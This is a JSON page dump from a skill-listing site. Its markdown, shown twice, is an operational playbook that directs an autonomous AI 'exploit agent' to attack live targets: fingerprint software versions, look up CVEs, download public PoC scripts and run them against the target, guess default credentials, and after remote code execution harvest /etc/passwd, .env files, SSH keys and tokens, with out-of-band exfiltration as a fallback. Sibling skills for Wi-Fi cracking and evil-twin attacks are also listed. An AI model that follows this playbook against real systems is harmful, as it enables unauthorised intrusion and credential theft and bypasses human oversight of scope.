[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7986E1MMTXZ3V03HDDA0P76":3,"skill-same:01M7986E1MMTXZ3V03HDDA0P76":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M7986E1MMTXZ3V03HDDA0P76","cve",null,"Known CVE exploitation — fingerprint CMS\u002Fframework\u002Fplugin version, look up CVE candidates via cve_lookup, retrieve PoCs via cve_poc_lookup, adapt the public exploit to the target, and confirm RCE. Use whenever the challenge tag is `cve`, recon fingerprinted a versioned service, or the challenge name hints at known vulnerable software (WordPress, Joomla, Apache Struts, Spring4Shell, Log4j, etc.).","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fcve\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: cve\ndescription: \"Known CVE exploitation — fingerprint CMS\u002Fframework\u002Fplugin version, look up CVE candidates via cve_lookup, retrieve PoCs via cve_poc_lookup, adapt the public exploit to the target, and confirm RCE. Use whenever the challenge tag is `cve`, recon fingerprinted a versioned service, or the challenge name hints at known vulnerable software (WordPress, Joomla, Apache Struts, Spring4Shell, Log4j, etc.).\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: execution\n  when_to_use: \"cve, CVE, known vulnerability, public exploit, version-specific, plugin vulnerability, CMS exploit, WordPress vulnerability, vulnerable software, patched, unpatched, joomla vulnerability, drupal vulnerability, apache struts, spring4shell, log4j, log4shell, exploit-db, public PoC, n-day exploit, cve_lookup, cve_poc_lookup\"\n  tags: web-application, cve, known-exploit, n-day, public-poc\n  mitre_attack: T1190, T1203, T1059\n---\n\n# CVE \u002F Known-Exploit Methodology\n\nExploits known, version-specific vulnerabilities by fingerprinting the target's software stack, looking up the matching CVE record, retrieving a public PoC, and adapting it to the live target. The exploit agent has two dedicated tools registered for this skill — `cve_lookup` and `cve_poc_lookup` — and this skill is the only place that calls them. If you load this skill, you MUST invoke both tools.\n\n## When to load\n\nLoad this skill (in addition to or instead of an attack-class skill) when ANY of the following hold:\n\n1. The challenge `Tags:` line contains `cve`.\n2. Recon `SUMMARY.md` fingerprinted a CMS, framework, or service with a concrete version (e.g. `WordPress 5.7.1`, `Apache Struts 2.5.16`, `Drupal 7.58`, `Spring Framework 5.3.17`, `Log4j 2.14.0`).\n3. The challenge name or description hints at specific software (`WordPress`, `Joomla`, `phpMyAdmin`, `Spring4Shell`, `Log4Shell`, `Shellshock`, `ProxyShell`, `GhostCat`, etc.).\n4. Recon returned a `RECON_HANDOFF:` line that names a software product with a version string.\n\nIf none of the above hold, do NOT load this skill — fall back to the attack-class skill matching the symptom (sqli\u002Fssti\u002Flfi\u002Fcommand-injection\u002Fetc.).\n\n## Step 1 — Fingerprinting procedure\n\nConcrete probes. Save every output to a file; do NOT inline curl bodies.\n\n```bash\n# Generic banner \u002F header \u002F generator-meta fingerprinting\ncurl -sI \"http:\u002F\u002F$TARGET\u002F\" -o \u002Ftmp\u002Fcve_headers.txt\ngrep -iE 'server|x-powered-by|x-aspnet-version|x-version|x-generator' \u002Ftmp\u002Fcve_headers.txt\n\ncurl -s \"http:\u002F\u002F$TARGET\u002F\" -o \u002Ftmp\u002Fcve_home.html\ngrep -iE 'generator|powered by|x-version|wp-includes\u002Fjs\u002Fwp-emoji|joomla|drupal|wp-content' \u002Ftmp\u002Fcve_home.html | head -20\n\n# nmap service\u002Fversion detection (when a non-HTTP port is exposed)\nnmap -sV -On -p- --version-intensity 7 \"$TARGET_HOST\" -oN \u002Ftmp\u002Fcve_nmap.txt\n\n# whatweb — broad CMS\u002Fframework signature scan\nwhatweb -a 3 \"http:\u002F\u002F$TARGET\u002F\" --no-errors > \u002Ftmp\u002Fcve_whatweb.txt 2>&1\n\n# WordPress-specific\ncurl -sI \"http:\u002F\u002F$TARGET\u002Fwp-login.php\" -o \u002Ftmp\u002Fcve_wp_login.txt\ncurl -s   \"http:\u002F\u002F$TARGET\u002Freadme.html\" -o \u002Ftmp\u002Fcve_wp_readme.html\ngrep -iE 'version' \u002Ftmp\u002Fcve_wp_readme.html | head -5\n\n# WordPress plugin enumeration (preferred: wpscan)\nwpscan --url \"http:\u002F\u002F$TARGET\u002F\" --enumerate p,t,u --no-banner --random-user-agent \\\n  -o \u002Ftmp\u002Fcve_wpscan.txt 2>&1\n\n# Manual plugin readme sweep (fallback when wpscan is unavailable)\nfor plugin in contact-form-7 woocommerce elementor yoast-seo akismet jetpack \\\n              wp-super-cache w3-total-cache wordfence all-in-one-seo-pack \\\n              wpforms-lite duplicator updraftplus classic-editor really-simple-ssl \\\n              wp-mail-smtp redirection wp-statistics polylang loginizer \\\n              simple-membership easy-wp-smtp mainwp-child seo-by-rank-math \\\n              wp-fastest-cache litespeed-cache autoptimize wp-optimize \\\n              advanced-custom-fields better-wp-security; do\n    code=$(curl -s -o \u002Fdev\u002Fnull -w '%{http_code}' \\\n        \"http:\u002F\u002F$TARGET\u002Fwp-content\u002Fplugins\u002F${plugin}\u002Freadme.txt\")\n    if [ \"$code\" = \"200\" ]; then\n        ver=$(curl -s \"http:\u002F\u002F$TARGET\u002Fwp-content\u002Fplugins\u002F${plugin}\u002Freadme.txt\" \\\n              | grep -iE 'stable tag|^version' | head -1)\n        echo \"plugin=$plugin version=$ver\"\n    fi\ndone | tee \u002Ftmp\u002Fcve_wp_plugins.txt\n\n# Joomla \u002F Drupal\ncurl -s \"http:\u002F\u002F$TARGET\u002Fadministrator\u002Fmanifests\u002Ffiles\u002Fjoomla.xml\" -o \u002Ftmp\u002Fcve_joomla.xml\ncurl -s \"http:\u002F\u002F$TARGET\u002FCHANGELOG.txt\" -o \u002Ftmp\u002Fcve_drupal_changelog.txt\n```\n\n**Output discipline**: at the end of Step 1 you MUST have at least one `\u003Csoftware>@\u003Cversion>` pair (e.g. `wordpress@5.7.1`, `contact-form-7@5.1.6`, `apache-struts@2.5.16`). If you don't, fingerprinting failed — see the Decision Tree below.\n\n## Step 2 — CVE identification: MANDATORY tool sequence\n\nThe exploit agent has two registered tools you MUST call in this order. Do NOT skip to manual web searches; the tools are pre-wired to fast CVE databases.\n\n```text\n# Pattern 1: single product fingerprint\ncve_lookup(\"wordpress 5.7.1\")\n# → returns: list of CVE IDs ranked by relevance\u002Fseverity\n\n# Pattern 2: plugin \u002F library fingerprint\ncve_lookup(\"contact-form-7 5.1.6\")\n# → returns: plugin-specific CVE IDs\n\n# Pattern 3: framework + version\ncve_lookup(\"apache struts 2.5.16\")\n# → returns: e.g. CVE-2018-11776, CVE-2017-5638\n```\n\nFor EACH candidate CVE returned, immediately call `cve_poc_lookup` to retrieve PoC URLs (github.com\u002Ftrickest\u002Fcve, exploit-db, packetstorm, etc.):\n\n```text\ncve_poc_lookup(\"CVE-2018-11776\")\n# → returns: github.com\u002Ftrickest\u002Fcve\u002Fblob\u002Fmain\u002F2018\u002FCVE-2018-11776.md\n#            https:\u002F\u002Fwww.exploit-db.com\u002Fexploits\u002F45260\n```\n\n**Hard rule**: if you load this skill and do NOT invoke `cve_lookup` before the first exploit attempt, you are wasting the dispatch. The free-form web search fallback is slower and produces stale leads. Call the tool first.\n\n## Step 3 — PoC adaptation\n\nAfter `cve_poc_lookup` returns URLs, fetch the PoC to disk and adapt it. Three concrete patterns:\n\n### Pattern A — curl one-shot exploit endpoint\n\nFor CVEs that are a single HTTP request (most WordPress\u002FJoomla auth-bypass and SSRF CVEs):\n\n```bash\n# Sanity-check the PoC matches the fingerprinted version BEFORE firing\ncurl -s \"https:\u002F\u002Fraw.githubusercontent.com\u002Ftrickest\u002Fcve\u002Fmain\u002F2018\u002FCVE-2018-11776.md\" \\\n  -o \u002Ftmp\u002Fcve_poc.md\ngrep -iE 'affected|version|tested on' \u002Ftmp\u002Fcve_poc.md | head -10\n# Confirm the version in the PoC overlaps the target's fingerprinted version.\n\n# Fire the adapted exploit (replace TARGET URL, OS command, output path)\ncurl -s -X POST \"http:\u002F\u002F$TARGET\u002F\u003CVULNERABLE_ENDPOINT>\" \\\n  -H 'Content-Type: application\u002Fx-www-form-urlencoded' \\\n  --data-urlencode \"\u003CPARAM>=\u003CPAYLOAD>\" \\\n  -o \u002Ftmp\u002Fcve_exploit_out.txt\nhead -50 \u002Ftmp\u002Fcve_exploit_out.txt\n```\n\n### Pattern B — python PoC script\n\nFor CVEs distributed as a Python script (Spring4Shell, Log4Shell helpers, ProxyShell):\n\n```bash\n# Fetch script to disk — never pipe untrusted code into bash directly\nwget -q \"https:\u002F\u002Fraw.githubusercontent.com\u002F\u003Cuser>\u002F\u003Crepo>\u002Fmain\u002Fpoc.py\" -O \u002Ftmp\u002Fcve_poc.py\nhead -40 \u002Ftmp\u002Fcve_poc.py    # sanity-read the script\n\n# Identify and replace placeholders (TARGET URL, CMD, callback host)\nsed -i \"s|http:\u002F\u002Ftarget|http:\u002F\u002F$TARGET|g\" \u002Ftmp\u002Fcve_poc.py\npython3 \u002Ftmp\u002Fcve_poc.py --target \"http:\u002F\u002F$TARGET\" --cmd 'id' > \u002Ftmp\u002Fcve_poc_run.txt 2>&1\nhead -50 \u002Ftmp\u002Fcve_poc_run.txt\n```\n\n### Pattern C — Metasploit module reference\n\nIf `cve_poc_lookup` returns a Metasploit module name (e.g. `exploit\u002Fmulti\u002Fhttp\u002Fstruts2_content_type_ognl`), translate the module into a curl-equivalent rather than launching `msfconsole` (msfconsole is heavy and breaks the bash-output budget). Read the module's source via the module URL, extract the HTTP request it sends, and reproduce with curl. Document the module name in `exploit\u002FPIVOT.md` for traceability.\n\n**Version sanity-check is MANDATORY**: a PoC for `Struts 2.3.x` typically does NOT fire on `Struts 2.5.x`. If versions mismatch, fall back to the next CVE candidate from Step 2 rather than burning the dispatch on a guaranteed-fail attempt.\n\n## Step 4 — Post-exploit harvest\n\nOnce RCE is achieved through the CVE, load `command-injection.md` and run its \"Credential\u002FSecret Extraction After RCE Confirmed\" single-call sweep — that is the canonical generic post-RCE harvest (`\u002Fetc\u002Fpasswd`, `.env`, configs, SSH keys, secret\u002Fcred\u002Ftoken files).\n\nIf the engagement is a CTF\u002Fbenchmark (`BENCHMARK_MODE=1`), additionally load `\u002Fskills\u002Fbenchmark\u002FSKILL.md` for flag-path conventions. Generic CVE methodology never assumes CTF-specific paths.\n\n## Step 5 — Decision tree\n\n```\nCVE skill loaded?\n├── Fingerprinting yielded \u003Csoftware>@\u003Cversion> → cve_lookup(\u003Csoftware> \u003Cversion>)\n│   ├── cve_lookup returned >=1 CVE → for each, cve_poc_lookup(\u003CCVE-ID>)\n│   │   ├── PoC version matches target → adapt (Pattern A\u002FB\u002FC) and fire\n│   │   ├── PoC requires authentication → first check `default_credentials` tag,\n│   │   │    try admin\u002Fadmin, admin\u002Fpassword, root\u002Froot, then login-form recon\n│   │   └── PoC fired → on RCE, run Step 4 post-exploit harvest\n│   └── cve_lookup returned 0 CVEs → check one level deeper:\n│       ├── WordPress core OK → enumerate plugins\u002Fthemes (Step 1 wpscan\u002Freadme sweep)\n│       │     then cve_lookup(\"\u003Cplugin> \u003Cversion>\")\n│       └── Framework OK → check bundled libraries \u002F dependencies\n│             (e.g. Spring app w\u002F vulnerable log4j → cve_lookup(\"log4j 2.14\"))\n└── Fingerprinting FAILED (no version exposed)\n    ├── Pivot to attack-class probes from recon SUMMARY.md tags:\n    │     sqli.md, ssti.md, lfi.md, command-injection.md\n    └── Write exploit\u002FPIVOT.md noting \"no version banner — CVE path exhausted\"\n```\n\n## Step 6 — Pacing rule (3-strike, cross-CVE)\n\nSame payload-class 3-strike rule applies, **at the CVE level**:\n\n- If 3 candidate CVEs from `cve_lookup` all fail to exploit (version mismatch, patched endpoint, auth required without creds, or PoC returns no useful output), pivot to a DIFFERENT attack class identified during recon.\n- \"Same class\" at this skill's level = same CVE family on the same product. Three Struts RCE CVEs against the same Struts service is ONE class — after 3 strikes, pivot to sqli\u002Fssti\u002Flfi against the broader app rather than searching for a 4th Struts CVE.\n- A CVE that returns \"endpoint exists but no command output\" is a partial-strike: try Pattern B (python PoC) or out-of-band exfil (see `command-injection.md` Blind Exfiltration) before declaring strike.\n\nAfter exhausting 3 CVE candidates: the version is either patched in-place or the product surface is hardened. Write `exploit\u002FPIVOT.md` documenting (a) the 3 CVEs tried, (b) why each failed (version, auth, no-output), (c) the next attack class to attempt from recon's tag list.\n\n## Cross-skill loading\n\n- For RCE-class CVEs, after firing the exploit, load `command-injection.md` for output-extraction and blind-exfil patterns.\n- For SQLi-class CVEs (e.g. CVE-2019-7139, CVE-2020-25213), load `sqli.md` \u002F `blind-sqli.md` after the CVE confirms the injection point.\n- For LFI-class CVEs (e.g. CVE-2019-9978, CVE-2021-41773), load `lfi.md` for wrapper escalation.\n- For deserialization CVEs (Spring4Shell, ApacheCommons), load `deserialization.md` for payload generation.\n\nThe CVE skill is the **entry**; the attack-class skill is the **continuation** once the injection primitive is confirmed.\n","# CVE \u002F Known-Exploit Methodology\n\nExploits known, version-specific vulnerabilities by fingerprinting the target's software stack, looking up the matching CVE record, retrieving a public PoC, and adapting it to the live target. The exploit agent has two dedicated tools registered for this skill — `cve_lookup` and `cve_poc_lookup` — and this skill is the only place that calls them. If you load this skill, you MUST invoke both tools.\n\n## When to load\n\nLoad this skill (in addition to or instead of an attack-class skill) when ANY of the following hold:\n\n1. The challenge `Tags:` line contains `cve`.\n2. Recon `SUMMARY.md` fingerprinted a CMS, framework, or service with a concrete version (e.g. `WordPress 5.7.1`, `Apache Struts 2.5.16`, `Drupal 7.58`, `Spring Framework 5.3.17`, `Log4j 2.14.0`).\n3. The challenge name or description hints at specific software (`WordPress`, `Joomla`, `phpMyAdmin`, `Spring4Shell`, `Log4Shell`, `Shellshock`, `ProxyShell`, `GhostCat`, etc.).\n4. Recon returned a `RECON_HANDOFF:` line that names a software product with a version string.\n\nIf none of the above hold, do NOT load this skill — fall back to the attack-class skill matching the symptom (sqli\u002Fssti\u002Flfi\u002Fcommand-injection\u002Fetc.).\n\n## Step 1 — Fingerprinting procedure\n\nConcrete probes. Save every output to a file; do NOT inline curl bodies.\n\n```bash\n# Generic banner \u002F header \u002F generator-meta fingerprinting\ncurl -sI \"http:\u002F\u002F$TARGET\u002F\" -o \u002Ftmp\u002Fcve_headers.txt\ngrep -iE 'server|x-powered-by|x-aspnet-version|x-version|x-generator' \u002Ftmp\u002Fcve_headers.txt\n\ncurl -s \"http:\u002F\u002F$TARGET\u002F\" -o \u002Ftmp\u002Fcve_home.html\ngrep -iE 'generator|powered by|x-version|wp-includes\u002Fjs\u002Fwp-emoji|joomla|drupal|wp-content' \u002Ftmp\u002Fcve_home.html | head -20\n\n# nmap service\u002Fversion detection (when a non-HTTP port is exposed)\nnmap -sV -On -p- --version-intensity 7 \"$TARGET_HOST\" -oN \u002Ftmp\u002Fcve_nmap.txt\n\n# whatweb — broad CMS\u002Fframework signature scan\nwhatweb -a 3 \"http:\u002F\u002F$TARGET\u002F\" --no-errors > \u002Ftmp\u002Fcve_whatweb.txt 2>&1\n\n# WordPress-specific\ncurl -sI \"http:\u002F\u002F$TARGET\u002Fwp-login.php\" -o \u002Ftmp\u002Fcve_wp_login.txt\ncurl -s   \"http:\u002F\u002F$TARGET\u002Freadme.html\" -o \u002Ftmp\u002Fcve_wp_readme.html\ngrep -iE 'version' \u002Ftmp\u002Fcve_wp_readme.html | head -5\n\n# WordPress plugin enumeration (preferred: wpscan)\nwpscan --url \"http:\u002F\u002F$TARGET\u002F\" --enumerate p,t,u --no-banner --random-user-agent \\\n  -o \u002Ftmp\u002Fcve_wpscan.txt 2>&1\n\n# Manual plugin readme sweep (fallback when wpscan is unavailable)\nfor plugin in contact-form-7 woocommerce elementor yoast-seo akismet jetpack \\\n              wp-super-cache w3-total-cache wordfence all-in-one-seo-pack \\\n              wpforms-lite duplicator updraftplus classic-editor really-simple-ssl \\\n              wp-mail-smtp redirection wp-statistics polylang loginizer \\\n              simple-membership easy-wp-smtp mainwp-child seo-by-rank-math \\\n              wp-fastest-cache litespeed-cache autoptimize wp-optimize \\\n              advanced-custom-fields better-wp-security; do\n    code=$(curl -s -o \u002Fdev\u002Fnull -w '%{http_code}' \\\n        \"http:\u002F\u002F$TARGET\u002Fwp-content\u002Fplugins\u002F${plugin}\u002Freadme.txt\")\n    if [ \"$code\" = \"200\" ]; then\n        ver=$(curl -s \"http:\u002F\u002F$TARGET\u002Fwp-content\u002Fplugins\u002F${plugin}\u002Freadme.txt\" \\\n              | grep -iE 'stable tag|^version' | head -1)\n        echo \"plugin=$plugin version=$ver\"\n    fi\ndone | tee \u002Ftmp\u002Fcve_wp_plugins.txt\n\n# Joomla \u002F Drupal\ncurl -s \"http:\u002F\u002F$TARGET\u002Fadministrator\u002Fmanifests\u002Ffiles\u002Fjoomla.xml\" -o \u002Ftmp\u002Fcve_joomla.xml\ncurl -s \"http:\u002F\u002F$TARGET\u002FCHANGELOG.txt\" -o \u002Ftmp\u002Fcve_drupal_changelog.txt\n```\n\n**Output discipline**: at the end of Step 1 you MUST have at least one `\u003Csoftware>@\u003Cversion>` pair (e.g. `wordpress@5.7.1`, `contact-form-7@5.1.6`, `apache-struts@2.5.16`). If you don't, fingerprinting failed — see the Decision Tree below.\n\n## Step 2 — CVE identification: MANDATORY tool sequence\n\nThe exploit agent has two registered tools you MUST call in this order. Do NOT skip to manual web searches; the tools are pre-wired to fast CVE databases.\n\n```text\n# Pattern 1: single product fingerprint\ncve_lookup(\"wordpress 5.7.1\")\n# → returns: list of CVE IDs ranked by relevance\u002Fseverity\n\n# Pattern 2: plugin \u002F library fingerprint\ncve_lookup(\"contact-form-7 5.1.6\")\n# → returns: plugin-specific CVE IDs\n\n# Pattern 3: framework + version\ncve_lookup(\"apache struts 2.5.16\")\n# → returns: e.g. CVE-2018-11776, CVE-2017-5638\n```\n\nFor EACH candidate CVE returned, immediately call `cve_poc_lookup` to retrieve PoC URLs (github.com\u002Ftrickest\u002Fcve, exploit-db, packetstorm, etc.):\n\n```text\ncve_poc_lookup(\"CVE-2018-11776\")\n# → returns: github.com\u002Ftrickest\u002Fcve\u002Fblob\u002Fmain\u002F2018\u002FCVE-2018-11776.md\n#            https:\u002F\u002Fwww.exploit-db.com\u002Fexploits\u002F45260\n```\n\n**Hard rule**: if you load this skill and do NOT invoke `cve_lookup` before the first exploit attempt, you are wasting the dispatch. The free-form web search fallback is slower and produces stale leads. Call the tool first.\n\n## Step 3 — PoC adaptation\n\nAfter `cve_poc_lookup` returns URLs, fetch the PoC to disk and adapt it. Three concrete patterns:\n\n### Pattern A — curl one-shot exploit endpoint\n\nFor CVEs that are a single HTTP request (most WordPress\u002FJoomla auth-bypass and SSRF CVEs):\n\n```bash\n# Sanity-check the PoC matches the fingerprinted version BEFORE firing\ncurl -s \"https:\u002F\u002Fraw.githubusercontent.com\u002Ftrickest\u002Fcve\u002Fmain\u002F2018\u002FCVE-2018-11776.md\" \\\n  -o \u002Ftmp\u002Fcve_poc.md\ngrep -iE 'affected|version|tested on' \u002Ftmp\u002Fcve_poc.md | head -10\n# Confirm the version in the PoC overlaps the target's fingerprinted version.\n\n# Fire the adapted exploit (replace TARGET URL, OS command, output path)\ncurl -s -X POST \"http:\u002F\u002F$TARGET\u002F\u003CVULNERABLE_ENDPOINT>\" \\\n  -H 'Content-Type: application\u002Fx-www-form-urlencoded' \\\n  --data-urlencode \"\u003CPARAM>=\u003CPAYLOAD>\" \\\n  -o \u002Ftmp\u002Fcve_exploit_out.txt\nhead -50 \u002Ftmp\u002Fcve_exploit_out.txt\n```\n\n### Pattern B — python PoC script\n\nFor CVEs distributed as a Python script (Spring4Shell, Log4Shell helpers, ProxyShell):\n\n```bash\n# Fetch script to disk — never pipe untrusted code into bash directly\nwget -q \"https:\u002F\u002Fraw.githubusercontent.com\u002F\u003Cuser>\u002F\u003Crepo>\u002Fmain\u002Fpoc.py\" -O \u002Ftmp\u002Fcve_poc.py\nhead -40 \u002Ftmp\u002Fcve_poc.py    # sanity-read the script\n\n# Identify and replace placeholders (TARGET URL, CMD, callback host)\nsed -i \"s|http:\u002F\u002Ftarget|http:\u002F\u002F$TARGET|g\" \u002Ftmp\u002Fcve_poc.py\npython3 \u002Ftmp\u002Fcve_poc.py --target \"http:\u002F\u002F$TARGET\" --cmd 'id' > \u002Ftmp\u002Fcve_poc_run.txt 2>&1\nhead -50 \u002Ftmp\u002Fcve_poc_run.txt\n```\n\n### Pattern C — Metasploit module reference\n\nIf `cve_poc_lookup` returns a Metasploit module name (e.g. `exploit\u002Fmulti\u002Fhttp\u002Fstruts2_content_type_ognl`), translate the module into a curl-equivalent rather than launching `msfconsole` (msfconsole is heavy and breaks the bash-output budget). Read the module's source via the module URL, extract the HTTP request it sends, and reproduce with curl. Document the module name in `exploit\u002FPIVOT.md` for traceability.\n\n**Version sanity-check is MANDATORY**: a PoC for `Struts 2.3.x` typically does NOT fire on `Struts 2.5.x`. If versions mismatch, fall back to the next CVE candidate from Step 2 rather than burning the dispatch on a guaranteed-fail attempt.\n\n## Step 4 — Post-exploit harvest\n\nOnce RCE is achieved through the CVE, load `command-injection.md` and run its \"Credential\u002FSecret Extraction After RCE Confirmed\" single-call sweep — that is the canonical generic post-RCE harvest (`\u002Fetc\u002Fpasswd`, `.env`, configs, SSH keys, secret\u002Fcred\u002Ftoken files).\n\nIf the engagement is a CTF\u002Fbenchmark (`BENCHMARK_MODE=1`), additionally load `\u002Fskills\u002Fbenchmark\u002FSKILL.md` for flag-path conventions. Generic CVE methodology never assumes CTF-specific paths.\n\n## Step 5 — Decision tree\n\n```\nCVE skill loaded?\n├── Fingerprinting yielded \u003Csoftware>@\u003Cversion> → cve_lookup(\u003Csoftware> \u003Cversion>)\n│   ├── cve_lookup returned >=1 CVE → for each, cve_poc_lookup(\u003CCVE-ID>)\n│   │   ├── PoC version matches target → adapt (Pattern A\u002FB\u002FC) and fire\n│   │   ├── PoC requires authentication → first check `default_credentials` tag,\n│   │   │    try admin\u002Fadmin, admin\u002Fpassword, root\u002Froot, then login-form recon\n│   │   └── PoC fired → on RCE, run Step 4 post-exploit harvest\n│   └── cve_lookup returned 0 CVEs → check one level deeper:\n│       ├── WordPress core OK → enumerate plugins\u002Fthemes (Step 1 wpscan\u002Freadme sweep)\n│       │     then cve_lookup(\"\u003Cplugin> \u003Cversion>\")\n│       └── Framework OK → check bundled libraries \u002F dependencies\n│             (e.g. Spring app w\u002F vulnerable log4j → cve_lookup(\"log4j 2.14\"))\n└── Fingerprinting FAILED (no version exposed)\n    ├── Pivot to attack-class probes from recon SUMMARY.md tags:\n    │     sqli.md, ssti.md, lfi.md, command-injection.md\n    └── Write exploit\u002FPIVOT.md noting \"no version banner — CVE path exhausted\"\n```\n\n## Step 6 — Pacing rule (3-strike, cross-CVE)\n\nSame payload-class 3-strike rule applies, **at the CVE level**:\n\n- If 3 candidate CVEs from `cve_lookup` all fail to exploit (version mismatch, patched endpoint, auth required without creds, or PoC returns no useful output), pivot to a DIFFERENT attack class identified during recon.\n- \"Same class\" at this skill's level = same CVE family on the same product. Three Struts RCE CVEs against the same Struts service is ONE class — after 3 strikes, pivot to sqli\u002Fssti\u002Flfi against the broader app rather than searching for a 4th Struts CVE.\n- A CVE that returns \"endpoint exists but no command output\" is a partial-strike: try Pattern B (python PoC) or out-of-band exfil (see `command-injection.md` Blind Exfiltration) before declaring strike.\n\nAfter exhausting 3 CVE candidates: the version is either patched in-place or the product surface is hardened. Write `exploit\u002FPIVOT.md` documenting (a) the 3 CVEs tried, (b) why each failed (version, auth, no-output), (c) the next attack class to attempt from recon's tag list.\n\n## Cross-skill loading\n\n- For RCE-class CVEs, after firing the exploit, load `command-injection.md` for output-extraction and blind-exfil patterns.\n- For SQLi-class CVEs (e.g. CVE-2019-7139, CVE-2020-25213), load `sqli.md` \u002F `blind-sqli.md` after the CVE confirms the injection point.\n- For LFI-class CVEs (e.g. CVE-2019-9978, CVE-2021-41773), load `lfi.md` for wrapper escalation.\n- For deserialization CVEs (Spring4Shell, ApacheCommons), load `deserialization.md` for payload generation.\n\nThe CVE skill is the **entry**; the attack-class skill is the **continuation** once the injection primitive is confirmed.\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"web-application, cve, known-exploit, n-day, public-poc","execution","cve, CVE, known vulnerability, public exploit, version-specific, plugin vulnerability, CMS exploit, WordPress vulnerability, vulnerable software, patched, unpatched, joomla vulnerability, drupal vulnerability, apache struts, spring4shell, log4j, log4shell, exploit-db, public PoC, n-day exploit, cve_lookup, cve_poc_lookup","T1190, T1203, T1059","Bash Read Write","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fcve",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill cve",{"tool":43,"command":44},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill cve",{"tool":46,"command":47},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill cve","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fcve\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin 